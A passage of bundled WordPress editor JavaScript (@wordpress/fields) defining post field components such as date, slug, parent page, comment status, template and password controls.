;// ./node_modules/@wordpress/fields/build-module/fields/date/date-view.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

const getFormattedDate = dateToDisplay => (0,external_wp_date_namespaceObject.dateI18n)((0,external_wp_date_namespaceObject.getSettings)().formats.datetimeAbbreviated, (0,external_wp_date_namespaceObject.getDate)(dateToDisplay));
const DateView = ({
  item
}) => {
  var _item$status, _item$modified, _item$date4, _item$date5;
  const isDraftOrPrivate = ['draft', 'private'].includes((_item$status = item.status) !== null && _item$status !== void 0 ? _item$status : '');
  if (isDraftOrPrivate) {
    var _item$date;
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: page creation or modification date. */
    (0,external_wp_i18n_namespaceObject.__)('<span>Modified: <time>%s</time></span>'), getFormattedDate((_item$date = item.date) !== null && _item$date !== void 0 ? _item$date : null)), {
      span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
      time: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
    });
  }
  const isScheduled = item.status === 'future';
  if (isScheduled) {
    var _item$date2;
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: page creation date */
    (0,external_wp_i18n_namespaceObject.__)('<span>Scheduled: <time>%s</time></span>'), getFormattedDate((_item$date2 = item.date) !== null && _item$date2 !== void 0 ? _item$date2 : null)), {
      span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
      time: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
    });
  }
  const isPublished = item.status === 'publish';
  if (isPublished) {
    var _item$date3;
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: page creation time */
    (0,external_wp_i18n_namespaceObject.__)('<span>Published: <time>%s</time></span>'), getFormattedDate((_item$date3 = item.date) !== null && _item$date3 !== void 0 ? _item$date3 : null)), {
      span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
      time: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
    });
  }

  // Pending posts show the modified date if it's newer.
  const dateToDisplay = (0,external_wp_date_namespaceObject.getDate)((_item$modified = item.modified) !== null && _item$modified !== void 0 ? _item$modified : null) > (0,external_wp_date_namespaceObject.getDate)((_item$date4 = item.date) !== null && _item$date4 !== void 0 ? _item$date4 : null) ? item.modified : item.date;
  const isPending = item.status === 'pending';
  if (isPending) {
    return (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: page creation or modification date. */
    (0,external_wp_i18n_namespaceObject.__)('<span>Modified: <time>%s</time></span>'), getFormattedDate(dateToDisplay !== null && dateToDisplay !== void 0 ? dateToDisplay : null)), {
      span: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {}),
      time: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {})
    });
  }

  // Unknow status.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {
    children: getFormattedDate((_item$date5 = item.date) !== null && _item$date5 !== void 0 ? _item$date5 : null)
  });
};
/* harmony default export */ const date_view = (DateView);

;// ./node_modules/@wordpress/fields/build-module/fields/date/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


const dateField = {
  id: 'date',
  type: 'datetime',
  label: (0,external_wp_i18n_namespaceObject.__)('Date'),
  render: date_view
};

/**
 * Date field for BasePost.
 */
/* harmony default export */ const date = (dateField);

;// ./node_modules/@wordpress/icons/build-module/library/copy-small.js
/**
 * WordPress dependencies
 */


const copySmall = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z"
  })
});
/* harmony default export */ const copy_small = (copySmall);

;// ./node_modules/@wordpress/fields/build-module/fields/slug/utils.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


const getSlug = item => {
  if (typeof item !== 'object') {
    return '';
  }
  return item.slug || (0,external_wp_url_namespaceObject.cleanForSlug)(getItemTitle(item)) || item.id.toString();
};

;// ./node_modules/@wordpress/fields/build-module/fields/slug/slug-edit.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */



const SlugEdit = ({
  field,
  onChange,
  data
}) => {
  const {
    id
  } = field;
  const slug = field.getValue({
    item: data
  }) || getSlug(data);
  const permalinkTemplate = data.permalink_template || '';
  const PERMALINK_POSTNAME_REGEX = /%(?:postname|pagename)%/;
  const [prefix, suffix] = permalinkTemplate.split(PERMALINK_POSTNAME_REGEX);
  const permalinkPrefix = prefix;
  const permalinkSuffix = suffix;
  const isEditable = PERMALINK_POSTNAME_REGEX.test(permalinkTemplate);
  const originalSlugRef = (0,external_wp_element_namespaceObject.useRef)(slug);
  const slugToDisplay = slug || originalSlugRef.current;
  const permalink = isEditable ? `${permalinkPrefix}${slugToDisplay}${permalinkSuffix}` : (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(data.link || '');
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (slug && originalSlugRef.current === undefined) {
      originalSlugRef.current = slug;
    }
  }, [slug]);
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  const {
    createNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const copyButtonRef = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(permalink, () => {
    createNotice('info', (0,external_wp_i18n_namespaceObject.__)('Copied Permalink to clipboard.'), {
      isDismissible: true,
      type: 'snackbar'
    });
  });
  const postUrlSlugDescriptionId = 'editor-post-url__slug-description-' + (0,external_wp_compose_namespaceObject.useInstanceId)(SlugEdit);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
    className: "fields-controls__slug",
    children: [isEditable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "0px",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          children: (0,external_wp_i18n_namespaceObject.__)('Customize the last part of the Permalink.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
          href: "https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink",
          children: (0,external_wp_i18n_namespaceObject.__)('Learn more')
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
        __next40pxDefaultSize: true,
        prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, {
          children: "/"
        }),
        suffix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          icon: copy_small,
          ref: copyButtonRef,
          label: (0,external_wp_i18n_namespaceObject.__)('Copy')
        }),
        label: (0,external_wp_i18n_namespaceObject.__)('Link'),
        hideLabelFromVision: true,
        value: slug,
        autoComplete: "off",
        spellCheck: "false",
        type: "text",
        className: "fields-controls__slug-input",
        onChange: newValue => {
          onChangeControl(newValue);
        },
        onBlur: () => {
          if (slug === '') {
            onChangeControl(originalSlugRef.current);
          }
        },
        "aria-describedby": postUrlSlugDescriptionId
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "fields-controls__slug-help",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "fields-controls__slug-help-visual-label",
          children: (0,external_wp_i18n_namespaceObject.__)('Permalink:')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ExternalLink, {
          className: "fields-controls__slug-help-link",
          href: permalink,
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            className: "fields-controls__slug-help-prefix",
            children: permalinkPrefix
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            className: "fields-controls__slug-help-slug",
            children: slugToDisplay
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
            className: "fields-controls__slug-help-suffix",
            children: permalinkSuffix
          })]
        })]
      })]
    }), !isEditable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
      className: "fields-controls__slug-help",
      href: permalink,
      children: permalink
    })]
  });
};
/* harmony default export */ const slug_edit = (SlugEdit);

;// ./node_modules/@wordpress/fields/build-module/fields/slug/slug-view.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const SlugView = ({
  item
}) => {
  const slug = getSlug(item);
  const originalSlugRef = (0,external_wp_element_namespaceObject.useRef)(slug);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (slug && originalSlugRef.current === undefined) {
      originalSlugRef.current = slug;
    }
  }, [slug]);
  const slugToDisplay = slug || originalSlugRef.current;
  return `${slugToDisplay}`;
};
/* harmony default export */ const slug_view = (SlugView);

;// ./node_modules/@wordpress/fields/build-module/fields/slug/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const slugField = {
  id: 'slug',
  type: 'text',
  label: (0,external_wp_i18n_namespaceObject.__)('Slug'),
  Edit: slug_edit,
  render: slug_view
};

/**
 * Slug field for BasePost.
 */
/* harmony default export */ const slug = (slugField);

// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
var remove_accents = __webpack_require__(9681);
var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
;// ./node_modules/@wordpress/fields/build-module/fields/parent/utils.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function getTitleWithFallbackName(post) {
  return typeof post.title === 'object' && 'rendered' in post.title && post.title.rendered ? (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(post.title.rendered) : `#${post?.id} (${(0,external_wp_i18n_namespaceObject.__)('no title')})`;
}

;// ./node_modules/@wordpress/fields/build-module/fields/parent/parent-edit.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



// @ts-ignore






/**
 * Internal dependencies
 */



function buildTermsTree(flatTerms) {
  const flatTermsWithParentAndChildren = flatTerms.map(term => {
    return {
      children: [],
      ...term
    };
  });

  // All terms should have a `parent` because we're about to index them by it.
  if (flatTermsWithParentAndChildren.some(({
    parent
  }) => parent === null || parent === undefined)) {
    return flatTermsWithParentAndChildren;
  }
  const termsByParent = flatTermsWithParentAndChildren.reduce((acc, term) => {
    const {
      parent
    } = term;
    if (!acc[parent]) {
      acc[parent] = [];
    }
    acc[parent].push(term);
    return acc;
  }, {});
  const fillWithChildren = terms => {
    return terms.map(term => {
      const children = termsByParent[term.id];
      return {
        ...term,
        children: children && children.length ? fillWithChildren(children) : []
      };
    });
  };
  return fillWithChildren(termsByParent['0'] || []);
}
const getItemPriority = (name, searchValue) => {
  const normalizedName = remove_accents_default()(name || '').toLowerCase();
  const normalizedSearch = remove_accents_default()(searchValue || '').toLowerCase();
  if (normalizedName === normalizedSearch) {
    return 0;
  }
  if (normalizedName.startsWith(normalizedSearch)) {
    return normalizedName.length;
  }
  return Infinity;
};
function PageAttributesParent({
  data,
  onChangeControl
}) {
  const [fieldValue, setFieldValue] = (0,external_wp_element_namespaceObject.useState)(null);
  const pageId = data.parent;
  const postId = data.id;
  const postTypeSlug = data.type;
  const {
    parentPostTitle,
    pageItems,
    isHierarchical
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      getEntityRecords,
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    const postTypeInfo = getPostType(postTypeSlug);
    const postIsHierarchical = postTypeInfo?.hierarchical && postTypeInfo.viewable;
    const parentPost = pageId ? getEntityRecord('postType', postTypeSlug, pageId) : null;
    const query = {
      per_page: 100,
      exclude: postId,
      parent_exclude: postId,
      orderby: 'menu_order',
      order: 'asc',
      _fields: 'id,title,parent',
      ...(fieldValue !== null && {
        search: fieldValue
      })
    };
    return {
      isHierarchical: postIsHierarchical,
      parentPostTitle: parentPost ? getTitleWithFallbackName(parentPost) : '',
      pageItems: postIsHierarchical ? getEntityRecords('postType', postTypeSlug, query) : null
    };
  }, [fieldValue, pageId, postId, postTypeSlug]);

  /**
   * This logic has been copied from https://github.com/WordPress/gutenberg/blob/0249771b519d5646171fb9fae422006c8ab773f2/packages/editor/src/components/page-attributes/parent.js#L106.
   */
  const parentOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const getOptionsFromTree = (tree, level = 0) => {
      const mappedNodes = tree.map(treeNode => [{
        value: treeNode.id,
        label: '— '.repeat(level) + (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(treeNode.name),
        rawName: treeNode.name
      }, ...getOptionsFromTree(treeNode.children || [], level + 1)]);
      const sortedNodes = mappedNodes.sort(([a], [b]) => {
        const priorityA = getItemPriority(a.rawName, fieldValue !== null && fieldValue !== void 0 ? fieldValue : '');
        const priorityB = getItemPriority(b.rawName, fieldValue !== null && fieldValue !== void 0 ? fieldValue : '');
        return priorityA >= priorityB ? 1 : -1;
      });
      return sortedNodes.flat();
    };
    if (!pageItems) {
      return [];
    }
    let tree = pageItems.map(item => {
      var _item$parent;
      return {
        id: item.id,
        parent: (_item$parent = item.parent) !== null && _item$parent !== void 0 ? _item$parent : null,
        name: getTitleWithFallbackName(item)
      };
    });

    // Only build a hierarchical tree when not searching.
    if (!fieldValue) {
      tree = buildTermsTree(tree);
    }
    const opts = getOptionsFromTree(tree);

    // Ensure the current parent is in the options list.
    const optsHasParent = opts.find(item => item.value === pageId);
    if (pageId && parentPostTitle && !optsHasParent) {
      opts.unshift({
        value: pageId,
        label: parentPostTitle,
        rawName: ''
      });
    }
    return opts.map(option => ({
      ...option,
      value: option.value.toString()
    }));
  }, [pageItems, fieldValue, parentPostTitle, pageId]);
  if (!isHierarchical) {
    return null;
  }

  /**
   * Handle user input.
   *
   * @param {string} inputValue The current value of the input field.
   */
  const handleKeydown = inputValue => {
    setFieldValue(inputValue);
  };

  /**
   * Handle author selection.
   *
   * @param {Object} selectedPostId The selected Author.
   */
  const handleChange = selectedPostId => {
    if (selectedPostId) {
      var _parseInt;
      return onChangeControl((_parseInt = parseInt(selectedPostId, 10)) !== null && _parseInt !== void 0 ? _parseInt : 0);
    }
    onChangeControl(0);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ComboboxControl, {
    __nextHasNoMarginBottom: true,
    __next40pxDefaultSize: true,
    label: (0,external_wp_i18n_namespaceObject.__)('Parent'),
    help: (0,external_wp_i18n_namespaceObject.__)('Choose a parent page.'),
    value: pageId?.toString(),
    options: parentOptions,
    onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(value => handleKeydown(value), 300),
    onChange: handleChange,
    hideLabelFromVision: true
  });
}
const ParentEdit = ({
  data,
  field,
  onChange
}) => {
  const {
    id
  } = field;
  const homeUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
  }, []);
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("fieldset", {
    className: "fields-controls__parent",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      children: [(0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %1$s The home URL of the WordPress installation without the scheme. */
      (0,external_wp_i18n_namespaceObject.__)('Child pages inherit characteristics from their parent, such as URL structure. For instance, if "Pricing" is a child of "Services", its URL would be %1$s<wbr />/services<wbr />/pricing.'), (0,external_wp_url_namespaceObject.filterURLForDisplay)(homeUrl).replace(/([/.])/g, '<wbr />$1')), {
        wbr: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("wbr", {})
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('They also show up as sub-items in the default navigation menu. <a>Learn more.</a>'), {
          a: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
            href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes'),
            children: undefined
          })
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageAttributesParent, {
        data: data,
        onChangeControl: onChangeControl
      })]
    })
  });
};

;// ./node_modules/@wordpress/fields/build-module/fields/parent/parent-view.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



const ParentView = ({
  item
}) => {
  const parent = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    return item?.parent ? getEntityRecord('postType', item.type, item.parent) : null;
  }, [item.parent, item.type]);
  if (parent) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: getTitleWithFallbackName(parent)
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: (0,external_wp_i18n_namespaceObject.__)('None')
  });
};

;// ./node_modules/@wordpress/fields/build-module/fields/parent/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const parentField = {
  id: 'parent',
  type: 'text',
  label: (0,external_wp_i18n_namespaceObject.__)('Parent'),
  Edit: ParentEdit,
  render: ParentView,
  enableSorting: true
};

/**
 * Parent field for BasePost.
 */
/* harmony default export */ const fields_parent = (parentField);

;// ./node_modules/@wordpress/fields/build-module/fields/comment-status/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const commentStatusField = {
  id: 'comment_status',
  label: (0,external_wp_i18n_namespaceObject.__)('Discussion'),
  type: 'text',
  Edit: 'radio',
  enableSorting: false,
  filterBy: {
    operators: []
  },
  elements: [{
    value: 'open',
    label: (0,external_wp_i18n_namespaceObject.__)('Open'),
    description: (0,external_wp_i18n_namespaceObject.__)('Visitors can add new comments and replies.')
  }, {
    value: 'closed',
    label: (0,external_wp_i18n_namespaceObject.__)('Closed'),
    description: (0,external_wp_i18n_namespaceObject.__)('Visitors cannot add new comments or replies. Existing comments remain visible.')
  }]
};

/**
 * Comment status field for BasePost.
 */
/* harmony default export */ const comment_status = (commentStatusField);

;// ./node_modules/@wordpress/fields/build-module/fields/template/template-edit.js
/**
 * WordPress dependencies
 */

// @ts-ignore


/**
 * Internal dependencies
 */
// @ts-expect-error block-editor is not typed correctly.









const EMPTY_ARRAY = [];
const TemplateEdit = ({
  data,
  field,
  onChange
}) => {
  const {
    id
  } = field;
  const postType = data.type;
  const postId = typeof data.id === 'number' ? data.id : parseInt(data.id, 10);
  const slug = data.slug;
  const {
    canSwitchTemplate,
    templates
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getEntityReco;
    const allTemplates = (_select$getEntityReco = select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', 'wp_template', {
      per_page: -1,
      post_type: postType
    })) !== null && _select$getEntityReco !== void 0 ? _select$getEntityReco : EMPTY_ARRAY;
    const {
      getHomePage,
      getPostsPageId
    } = lock_unlock_unlock(select(external_wp_coreData_namespaceObject.store));
    const isPostsPage = getPostsPageId() === +postId;
    const isFrontPage = postType === 'page' && getHomePage()?.postId === +postId;
    const allowSwitchingTemplate = !isPostsPage && !isFrontPage;
    return {
      templates: allTemplates,
      canSwitchTemplate: allowSwitchingTemplate
    };
  }, [postId, postType]);
  const templatesAsPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!canSwitchTemplate) {
      return [];
    }
    return templates.filter(template => template.is_custom && template.slug !== data.template &&
    // Skip empty templates.
    !!template.content.raw).map(template => ({
      name: template.slug,
      blocks: (0,external_wp_blocks_namespaceObject.parse)(template.content.raw),
      title: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(template.title.rendered),
      id: template.id
    }));
  }, [canSwitchTemplate, data.template, templates]);
  const shownTemplates = (0,external_wp_compose_namespaceObject.useAsyncList)(templatesAsPatterns);
  const value = field.getValue({
    item: data
  });
  const foundTemplate = templates.find(template => template.slug === value);
  const currentTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => {
    if (foundTemplate) {
      return foundTemplate;
    }
    let slugToCheck;
    // In `draft` status we might not have a slug available, so we use the `single`
    // post type templates slug(ex page, single-post, single-product etc..).
    // Pages do not need the `single` prefix in the slug to be prioritized
    // through template hierarchy.
    if (slug) {
      slugToCheck = postType === 'page' ? `${postType}-${slug}` : `single-${postType}-${slug}`;
    } else {
      slugToCheck = postType === 'page' ? 'page' : `single-${postType}`;
    }
    if (postType) {
      const templateId = select(external_wp_coreData_namespaceObject.store).getDefaultTemplateId({
        slug: slugToCheck
      });
      return select(external_wp_coreData_namespaceObject.store).getEntityRecord('postType', 'wp_template', templateId);
    }
  }, [foundTemplate, postType, slug]);
  const [showModal, setShowModal] = (0,external_wp_element_namespaceObject.useState)(false);
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
    className: "fields-controls__template",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      popoverProps: {
        placement: 'bottom-start'
      },
      renderToggle: ({
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "tertiary",
        size: "compact",
        onClick: onToggle,
        children: currentTemplate ? getItemTitle(currentTemplate) : ''
      }),
      renderContent: ({
        onToggle
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          onClick: () => {
            setShowModal(true);
            onToggle();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Change template')
        }),
        // The default template in a post is indicated by an empty string
        value !== '' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          onClick: () => {
            onChangeControl('');
            onToggle();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Use default template')
        })]
      })
    }), showModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Choose a template'),
      onRequestClose: () => setShowModal(false),
      overlayClassName: "fields-controls__template-modal",
      isFullScreen: true,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "fields-controls__template-content",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList, {
          label: (0,external_wp_i18n_namespaceObject.__)('Templates'),
          blockPatterns: templatesAsPatterns,
          shownPatterns: shownTemplates,
          onClickPattern: template => {
            onChangeControl(template.name);
            setShowModal(false);
          }
        })
      })
    })]
  });
};

;// ./node_modules/@wordpress/fields/build-module/fields/template/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


const templateField = {
  id: 'template',
  type: 'text',
  label: (0,external_wp_i18n_namespaceObject.__)('Template'),
  Edit: TemplateEdit,
  enableSorting: false
};

/**
 * Template field for BasePost.
 */
/* harmony default export */ const fields_template = (templateField);

;// ./node_modules/@wordpress/fields/build-module/fields/password/edit.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

function PasswordEdit({
  data,
  onChange,
  field
}) {
  const [showPassword, setShowPassword] = (0,external_wp_element_namespaceObject.useState)(!!field.getValue({
    item: data
  }));
  const handleTogglePassword = value => {
    setShowPassword(value);
    if (!value) {
      onChange({
        password: ''
      });
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
    as: "fieldset",
    spacing: 4,
    className: "fields-controls__password",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
      __nextHasNoMarginBottom: true,
      label: (0,external_wp_i18n_namespaceObject.__)('Password protected'),
      help: (0,external_wp_i18n_namespaceObject.__)('Only visible to those who know the password'),
      checked: showPassword,
      onChange: handleTogglePassword
    }), showPassword && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "fields-controls__password-input",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
        label: (0,external_wp_i18n_namespaceObject.__)('Password'),
        onChange: value => onChange({
          password: value
        }),
        value: field.getValue({
          item: data
        }) || '',
        placeholder: (0,external_wp_i18n_namespaceObject.__)('Use a secure password'),
        type: "text",
        __next40pxDefaultSize: true,
        __nextHasNoMarginBottom: true,
        maxLength: 255
      })
    })]
  });
}
/* harmony default export */ const edit = (PasswordEdit);

;// ./node_modules/@wordpress/fields/build-module/fields/password/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


const passwordField = {
  id: 'password',
  type: 'text',
  Edit: edit,
  enableSorting: false,
  enableHiding: false,
  isVisible: item => item.status !== 'private'
};

/**
 * Password field for BasePost.
 */
/* harmony default export */ const fields_password = (passwordField);

;// ./node_modules/@wordpress/fields/build-module/fields/title/view.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



function BaseTitleView({
  item,
  className,
  children
}) {
  const renderedTitle = getItemTitle(item);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    className: dist_clsx('fields-field__title', className),
    alignment: "center",
    justify: "flex-start",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      children: renderedTitle || (0,external_wp_i18n_namespaceObject.__)('(no title)')
    }), children]
  });
}
function TitleView({
  item
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseTitleView, {
    item: item
  });
}

;// ./node_modules/@wordpress/fields/build-module/fields/page-title/view.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  Badge
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function PageTitleView({
  item
}) {
  const {
    frontPageId,
    postsPageId
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const siteSettings = getEntityRecord('root', 'site');
    return {
      frontPageId: siteSettings?.page_on_front,
      postsPageId: siteSettings?.page_for_posts
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseTitleView, {
    item: item,
    className: "fields-field__page-title",
    children: [frontPageId, postsPageId].includes(item.id) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Badge, {
      children: item.id === frontPageId ? (0,external_wp_i18n_namespaceObject.__)('Homepage') : (0,external_wp_i18n_namespaceObject.__)('Posts Page')
    })
  });
}

;// ./node_modules/@wordpress/fields/build-module/fields/page-title/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const pageTitleField = {
  type: 'text',
  id: 'title',
  label: (0,external_wp_i18n_namespaceObject.__)('Title'),
  placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
  getValue: ({
    item
  }) => getItemTitle(item),
  render: PageTitleView,
  enableHiding: false,
  enableGlobalSearch: true
};

/**
 * Title for the page entity.
 */
/* harmony default export */ const page_title = (pageTitleField);

;// ./node_modules/@wordpress/fields/build-module/fields/template-title/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const templateTitleField = {
  type: 'text',
